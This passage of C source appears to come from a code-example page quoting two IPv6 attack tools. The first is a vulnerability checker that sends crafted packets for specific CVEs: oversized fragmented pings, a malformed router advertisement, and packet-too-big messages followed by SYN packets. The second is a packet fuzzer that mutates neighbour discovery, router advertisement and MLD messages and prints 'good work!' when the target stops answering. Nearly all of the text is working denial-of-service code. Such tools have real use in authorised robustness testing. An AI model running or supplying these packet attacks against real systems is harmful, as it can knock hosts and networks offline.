    if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
      fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
      exit(-1);
    }
  } else
    dstmac = null_buffer;
  if ((srcmtu = thc_get_mtu(interface)) <= 0) {
    fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
    exit(-1);
  }
  if (do_hdr_size)
    srcmtu -= (do_hdr_size - 14);
  fragsize = ((srcmtu - 62) / 8) * 8;

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  setvbuf(stdout, NULL, _IONBF, 0);
  memset(tests, 0, sizeof(tests));

  printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]);
  if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) {
    fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]);
    exit(-1);
  } else
    printf("Test  0: normal ping6\t\t\t\tPASSED - we got a reply\n");

  /********************** TEST CASES ************************/

  if (test == 0 || test == count) {     // 1432
    printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count);
    tmplen = 65864;
    if ((mal = malloc(tmplen)) == NULL)
      return -1;
    memset(mal, count % 256, tmplen);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    // because of the different possible checksum calculations we have to do them all
    hdr->pkt[offset + 40 + 3] = 0xe5;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 2] = 0x98;
    hdr->pkt[offset + 40 + 3] = 0xa4;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 3] = 0xa3;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 2] = 0x84;
    hdr->pkt[offset + 40 + 3] = 0x90;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 3] = 0x8f;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    free(mal);
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {     // 1432
    printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count);
    tmplen = 65527;
    if ((mal = malloc(tmplen)) == NULL)
      return -1;
    memset(mal, count % 256, tmplen);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    // because of the different possible checksum calculations we have to do them all
    hdr->pkt[offset + 40 + 2] = 0x31;
    hdr->pkt[offset + 40 + 3] = 0x8c;
    thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
    hdr->pkt[offset + 40 + 3] = 0x8a;
    thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
    free(mal);
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count);
    memset(bla, count % 256, sizeof(bla));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    memset(buf, 0, sizeof(buf));
    buf[6] = 4;                 // 4-7: retrans timer
    // option mtu
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;
    buf[13] = (mtu % 16777216) / 65536;
    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    // option prefix
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = 128;              // prefix length // BUG IS HERE
    buf[19] = 128 + 64;
    memset(&buf[20], 17, 4);
    memset(&buf[24], 4, 4);
    memcpy(&buf[32], route6, 16);
    i += 28;
    // mac address option
    buf[i++] = 1;
    buf[i++] = 1;
    memcpy(buf + i, srcmac, 6);
    i += 6;
    // default route routing option
    buf[i++] = 0x18;            // routing entry option type
    buf[i++] = 0x03;            // length 3 == 24 bytes
    buf[i++] = 0x00;            // prefix length
    buf[i++] = 0x08;            // priority, highest of course
    i += 2;                     // 52-53 unknown
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x11;            // lifetime, word
    i += 16;                    // 56-71 address, all zeros for default
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    ipv6 = (thc_ipv6_hdr *) pkt;
    thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset);
    sleep(1);
    thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset);
    i = 0;
    while (ports[i] != 0) {
      if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
        return -1;
      if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0)
        return -1;
      if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
        return -1;
      pkt = thc_destroy_packet(pkt);
      pkt_len = 0;
      i++;
    }
  }
  count++;

/*
  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;
*/
/*
  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count%256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;
*/

  // more?

  /******************* END OF TESTCASES ***************************/

  if (noping == 1 || check_alive(p, interface, src6, dst6))
    printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count);
  else
    printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count);

  thc_pcap_close(p);

  return 0;
}
コード例 #19
0
int main(int argc, char *argv[]) {
  unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL;
  unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "icmp6 and dst ";
  int rawmode = 0, test_start = 0, fragment = 0, alert = 0, sroute = 0;
  int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0;
  int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0;
  int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1;
  int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0;
  char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL;
  unsigned char buf[256], buf2[100], buf3[16];
  unsigned short int *sip;
  pcap_t *p;
  thc_ipv6_hdr *hdr;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "123456789rxt:T:p:FSDHRIJan:")) >= 0) {
    switch (i) {
    case '1':
      do_type = DO_PING;
      break;
    case '2':
      do_type = DO_NEIGHSOL;
      break;
    case '3':
      do_type = DO_NEIGHADV;
      break;
    case '4':
      do_type = DO_RA;
      break;
    case '5':
      do_type = DO_MLD_REP;
      break;
    case '6':
      do_type = DO_MLD_DONE;
      break;
    case '7':
      do_type = DO_MLD_QUERY;
      wait = 0xff0000;
      break;
    case '8':
      do_type = DO_MLD2_REPORT;
      break;
    case '9':
      do_type = DO_MLD2_QUERY;
      wait = 0xff0000;
      break;
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      test_pos -= 14;
      offset -= 14;
      break;
    case 't':
      test_start = atoi(optarg);
      break;
    case 'T':
      test_end = test_start = atoi(optarg);
      break;
    case 'p':
      ping = atoi(optarg);
      break;
    case 'a':
      do_alive = 0;
      break;
    case 'S':
      sroute = 1;
      break;
    case 'n':
      no_send = atoi(optarg);
      break;
    case 'F':
      fragment = 1;
      break;
    case 'R':
      alert = 1;
      break;
    case 'D':
      destination = 1;
      break;
    case 'H':
      hopbyhop = 1;
      break;
    case 'J':
      jumbo = 1;
      break;
    case 'I':
      header = 1;
      break;
    case 'x':
      extend = 1;
      break;
    }
  }
  if (argc - optind < 2) {
    fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n");
    exit(-1);
  }
  interface = argv[optind];
  if (rawmode == 0 && (srcmac = thc_get_own_mac(interface)) == NULL) {
    fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface);
    exit(-1);
  }
  if (no_send < 1) {
    fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n");
    exit(-1);
  }
  if (do_type != DO_PING) {
    mcast6 = thc_resolve6(argv[optind + 1]);
    if (do_type == DO_NEIGHSOL) {
      dst6 = thc_resolve6("ff02::0001:ff00:0000");
      memcpy(dst6 + 13, mcast6 + 13, 3);
    } else
      dst6 = thc_resolve6("ff02::1");
  } else {
    dst6 = thc_resolve6(argv[optind + 1]);
  }
  if (argv[optind + 1] != NULL)
    real_dst6 = thc_resolve6(argv[optind + 1]);

  if (interface == NULL || argv[optind + 1] == NULL) {
    printf("Error: interface and target-ipv6-address are mandatory command line options\n");
    exit(-1);
  }
  if (ping < 1 || test_end < test_start) {
    printf("dont f**k up the command line options!\n");
    exit(-1);
  }
  if (argv[optind + 2] != NULL)
    someaddr6 = thc_resolve6(argv[optind + 2]);
  if (argc - optind > 3) {
    printf("Error: too many command line options\n");
    exit(-1);
  }
  if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) {
    fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
    exit(-1);
  }
  if (rawmode)
    srcmac = mac;

  if (do_type == DO_PING)
    src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  else
    src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK);
  strcat(string, thc_ipv62notation(src6));
  if (sroute) {
    if (someaddr6 != NULL)
      routers[0] = someaddr6;
    else
      routers[0] = dst6;
    routers[1] = NULL;
  }
  setvbuf(stdout, NULL, _IONBF, 0);
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  dns = thc_resolve6("FF02::FB");
  route6 = thc_resolve6("2a01::");

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }
  // ping before to check if it works
  if (do_alive)
    if (check_alive(p, interface, src6, real_dst6) == 0) {
      fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]);
      exit(-1);
    }
  // generate basic packet
  strcpy(fuzzbuf, fuzztype_ether);
  if ((pkt = thc_create_ipv6(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
    return -1;
  if (header)
    strcat(fuzzbuf, fuzztype_ip6);
  else
    strcat(fuzzbuf, fuzztype_ip6no);

  if (alert || hopbyhop || jumbo) {
    memset(buf2, 0, sizeof(buf2));
    i = 0;

    if (alert) {
      buf2[i++] = 5;
      buf2[i++] = 2;
      i += 2;
      strcat(fuzzbuf, ".F.F");
    }

    if (jumbo) {
      buf2[i++] = 0xc2;
      buf2[i++] = 4;
      buf2[i++] = 'J';          // lookup code
      buf2[i++] = 'J';
      buf2[i++] = 'J';
      buf2[i++] = 'J';
      strcat(fuzzbuf, ".FBBBB");
    }

    if (hopbyhop) {
      memset(buf3, 0, sizeof(buf3));
      buf3[0] = 'X';
      buf3[1] = '.';
      for (j = 0; j < 10; j++) {
        buf2[i++] = 1;          // PadN, length
        buf2[i++] = j;
        if (j > 0) {
          memset(buf2 + i, 0xaa, j);
          buf3[2 + j] = '.';
          i += j;
        }
        strcat(fuzzbuf, buf3);  // always: X... for every new option
      }
    }

    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0)
      return -1;

    i += 2;
    if (i % 8 > 0)
      i = ((i / 8) + 1) * 8;

    offset += i;
  }

  if (sroute) {
    if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0)
      return -1;
    else {
      strcat(fuzzbuf, "FFFFBBBB................");
      offset += 24;
    }
  }

  if (fragment) {
    frag_offset = offset;
    if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0)
      return -1;
    else {
      strcat(fuzzbuf, "FFWW..");
      offset += 8;
    }
  }

  if (destination) {
    memset(buf2, 0, sizeof(buf2));
    memset(buf3, 0, sizeof(buf3));
    buf3[0] = 'X';
    buf3[1] = '.';
    i = 0;
    for (j = 0; j < 10; j++) {
      buf2[i++] = 1;            // PadN, length
      buf2[i++] = j;
      if (j > 0) {
        memset(buf2 + i, 0xaa, j);
        buf3[2 + j] = '.';
        i += j;
      }
      strcat(fuzzbuf, buf3);    // always: X... for every new option
    }

    if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0)
      return -1;

    i += 2;
    if (i % 8 > 0)
      i = ((i / 8) + 1) * 8;

    offset += i;
  }

  memset(buf, 0, sizeof(buf));
  if (header)
    strcat(fuzzbuf, fuzztype_icmp6);
  else
    strcat(fuzzbuf, fuzztype_icmp6no);
  switch (do_type) {
  case DO_PING:
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ping);
    break;

  case DO_NEIGHSOL:
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    else
      memcpy(buf, mcast6, 16);
    buf[16] = 1;
    buf[17] = 1;
    memcpy(buf + 18, srcmac, 6);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ns);
    break;

  case DO_NEIGHADV:
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    else
      memcpy(buf, src6, 16);
    buf[16] = 2;
    buf[17] = 1;
    memcpy(buf + 18, srcmac, 6);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6na);
    break;

  case DO_RA:
    //  buf[3] = 250; // 0-3: reachable timer
    buf[6] = 4;                 // 4-7: retrans timer
    // option mtu
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;

    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    // option prefix
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = size;             // prefix length
    buf[19] = 128 + 64;
    memset(&buf[20], 17, 4);
    memset(&buf[24], 4, 4);
    if (someaddr6 != NULL)
      memcpy(&buf[32], someaddr6, 16);
    else
      memcpy(&buf[32], route6, 16);

    i = 48;
    // mac address option
    buf[i++] = 1;
    buf[i++] = 1;
    memcpy(buf + i, srcmac, 6);
    i += 6;

    // default route routing option
    buf[i++] = 0x18;            // routing entry option type
    buf[i++] = 0x03;            // length 3 == 24 bytes
    buf[i++] = 0x00;            // prefix length
    buf[i++] = 0x08;            // priority, highest of course
    i += 2;                     // 52-53 unknown
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x11;            // lifetime, word
    i += 16;                    // 56-71 address, all zeros for default

    // dns option
    buf[i++] = 0x19;            // dns option type
    buf[i++] = 0x03;            // length
    i += 2;                     // 74-75 reserved
    memset(buf + i, 1, 4);      // validity time
    i += 4;
    if (someaddr6 != NULL)
      memcpy(buf + i, someaddr6, 16);   // dns server
    else
      memcpy(buf + i, dns, 16); // dns server
    i += 16;

    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ra);
    break;

  case DO_MLD_QUERY:
  case DO_MLD_DONE:
  case DO_MLD_REP:
    buf[0] = 0xff;
    buf[1] = 0x02;
    buf[15] = 0x05;
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld);
    break;
  case DO_MLD2_QUERY:
    buf[0] = 0xff;
    buf[1] = 0x02;
    buf[15] = 0x05;
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    buf[16] = 7;
    buf[17] = 120;
    buf[19] = 3;
    memcpy(buf + 20, dst6, 16);
    memcpy(buf + 36, buf, 16);
    if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld2que);
    break;
  case DO_MLD2_REPORT:
    for (i = 0; i < 3; i++) {
      buf[0 + 68 * i] = 1 + i * 2 - i / 2;      //include new++, generates 1, 3 and 4
      buf[3 + 68 * i] = 3;      //3 sources
      buf[4 + 68 * i] = 0xff;
      buf[5 + 68 * i] = 0x02;
      buf[18 + 68 * i] = 0x82 + i % 256;
      buf[19 + 68 * i] = 0xff;
      memcpy(buf + 20 + 68 * i, src6, 16);
      buf[36 + 68 * i] = 0xfe;
      buf[37 + 68 * i] = 0x80;
      buf[46 + 68 * i] = 0xf0;
      if (someaddr6 != NULL)
        memcpy(buf + 52 + 68 * i, someaddr6, 16);
    }

    if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6mld2rep);
    break;

  default:
    fprintf(stderr, "ERROR: Mode not implemented yet!\n");
    exit(-1);
  }

  if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0)
    return -1;
  hdr = (thc_ipv6_hdr *) pkt;

  if (jumbo) {
    i = 0;
    j = 1;
    while (i < hdr->pkt_len + 4 && j) {
      if (hdr->pkt[i] == 'J')
        if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0)
          j = 0;
      i++;
    }
    if (j) {
      fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n");
      exit(-1);
    } else
      i--;
    hdr->pkt[i] = 0;
    hdr->pkt[i + 1] = 0;
    hdr->pkt[i + 2] = hdr->pkt[4 + 14 - 14 * rawmode];
    hdr->pkt[i + 3] = hdr->pkt[5 + 14 - 14 * rawmode];
    hdr->pkt[4 + 14 - 14 * rawmode] = 0;
    hdr->pkt[5 + 14 - 14 * rawmode] = 0;
  }

  if (extend)
    for (i = 0; i < strlen(fuzzbuf); i++)
      if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F')
        fuzzbuf[i] = 'X';

  // backup of generated packet
  pkt_bak = malloc(hdr->pkt_len);
  memcpy(pkt_bak, hdr->pkt, hdr->pkt_len);

  printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end);
//printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf);
  while (do_fuzz) {
    if (test_cnt == 0)
      while (fuzzbuf[test_ptr] == '.') {
        test_ptr++;
        test_pos++;
      }

    if (fuzzbuf[test_ptr] == 0)
      do_fuzz = 0;

    test_cnt++;
    do_it = 1;

//printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end);

    switch (fuzzbuf[test_ptr]) {
    case 0:
      break;
    case 'X':
      if (test_cnt <= COUNT_EXTEND) {
        if (pkt_bak[test_pos] != extends[test_cnt - 1])
          hdr->pkt[test_pos] = extends[test_cnt - 1];
        else
          do_it = 0;
      } else {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'B':
      if (test_cnt <= COUNT_BYTE) {
        if (pkt_bak[test_pos] != bytes[test_cnt - 1])
          hdr->pkt[test_pos] = bytes[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_BYTE && do_it) {
          if (bytes[i] == pkt_bak[test_pos])
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_BYTE + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'F':
      if (test_cnt <= COUNT_FLAG) {
        if (pkt_bak[test_pos] != flags[test_cnt - 1])
          hdr->pkt[test_pos] = flags[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_FLAG && do_it) {
          if (bytes[i] == pkt_bak[test_pos])    // yes, bytes[] is the right one even for flags
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_FLAG + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'W':
      sip = (unsigned short int *) &pkt_bak[test_pos];
      if (test_cnt <= COUNT_WORD) {
        if (*sip != words[test_cnt - 1])
          memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1], 2);
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_WORD && do_it) {
          if (words[i] == *sip)
            do_it = 0;
          i++;
        }
        if (do_it) {
          i = *sip ^ xors[test_cnt - COUNT_WORD - 1];
          sip = (unsigned short int *) &hdr->pkt[test_pos];
          *sip = i % 65536;
        }
      }
      if (test_cnt == COUNT_WORD + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos += 2;
      }
      break;
    default:
      fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr,
              fuzzbuf);
      exit(-1);
      break;
    }

    if (do_it && do_fuzz) {
      if (test_current >= test_start && test_current <= test_end && do_fuzz) {
        // fill icmp id+seq and unique buffer with test case number
        if (fragment)
          memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current, 4);
        switch (do_type) {
        case DO_PING:
          for (i = 0; i < 4 + 1; i++)
            memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current, 4);
          break;
        case DO_NEIGHSOL:
        case DO_NEIGHADV:
          break;                // do nothing for these
        case DO_RA:
          memcpy(hdr->pkt + offset + 0x62, (char *) &test_current, 4);  // prefix update
          memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16);       // routing update
          if (rawmode == 0)
            memcpy(hdr->pkt + 8, (char *) &test_current, 4);    // srcmac update
          memcpy(hdr->pkt + offset + 0x72, (char *) &test_current, 4);  // srcmac update
          memcpy(hdr->pkt + 0x10 + 14 - 14 * rawmode, (char *) &test_current, 4);       // srcip update
          memcpy(hdr->original_src, hdr->pkt + 8 + 14 - 14 * rawmode, 16);      // srcip update for checksum
          break;
        case DO_MLD_QUERY:
        case DO_MLD_DONE:
        case DO_MLD_REP:
        case DO_MLD2_QUERY:
          memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current, 4);
          break;
        case DO_MLD2_REPORT:   //??? XXX TODO CHECK
          memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current, 4);
          memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current, 4);
          memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current, 4);
          break;
        default:
          fprintf(stderr, "ERROR!!!\n");
          exit(-1);
        }

        // regenerate checksum
        if (do_type == do_type) {       // maybe for later non-icmp stuff
          hdr->pkt[offset + 56] = 0;
          hdr->pkt[offset + 57] = 0;
          i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
          hdr->pkt[offset + 56] = i / 256;
          hdr->pkt[offset + 57] = i % 256;
        }
        // send packet
        for (k = 0; k < no_send; k++) {
          if (thc_send_pkt(interface, pkt, &pkt_len) < 0)
            return -1;
          usleep(1);
        }
        printf(".");
        usleep(250);
        // if ping, check ping again
        if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current)
          if (check_alive(p, interface, src6, real_dst6) == 0) {
            i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1;
            printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current);
            exit(-1);
          }
      }
//else printf("NOT SENT - NOT IN TEST LIST\n");
      // reset to basic packet
      memcpy(hdr->pkt, pkt_bak, hdr->pkt_len);
      test_current++;
    }
//else printf("NOT SENT!\n");
  }

  printf("\n");
  // ping afterwards to check if it worked
  if (do_alive) {
    if (check_alive(p, interface, src6, real_dst6) == 0)
      printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos);
    else
      printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]);
  }

  thc_pcap_close(p);
  return 0;
}